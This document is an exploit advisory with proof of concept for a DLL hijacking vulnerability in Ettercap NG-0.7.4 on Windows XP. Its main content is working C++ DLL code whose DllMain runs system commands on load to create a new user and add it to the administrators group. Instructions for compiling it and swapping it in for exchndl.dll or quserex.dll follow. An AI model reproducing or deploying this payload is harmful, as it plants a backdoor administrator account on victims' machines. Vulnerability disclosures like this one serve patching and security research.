Exploit Title: ettercap NG-0.7.4 Dll hijacking vulnerability (quserex.dll - exchndl.dll)
Date: Tuesday April 24
Author: nimaarek
Software Link: http://sourceforge.net/projects/ettercap/files/unofficial binaries/windows/
Version: NG-0.7.4
Tested on: Windows XP SP3

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/*

Application Information:
Application: Ettercap.exe
Version: NG-0.7.4
Company Name: The EtterCap community, http://ettercap.sourceforge.net/
File Date: Tuesday April 24
Description: EtterCap sniffer
Operating System: Windows XP SP3
Total Extensions Verified: 2
Verified Extensions: htm;html;

=============================================================
//tested on Windows XP SP3
#include "stdafx.h"
#include "windows.h"
#include <cstdlib>

int main()
{
  system("net user apuser appass /add");
  system("net localgroup administrators apuser /add");
  exit(0);
  return 0;
}
 

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    
    return TRUE;
}
=============================================================

Instructions:
 
1. Compile dll
2. Replace exchndl.dll Or quserex.dll in Ettercap directory with your newly compiled dll
3. Launch Ettercap
4. Bo0o0o0o0o0o0o0m !


Greet to my Lovely friends : 
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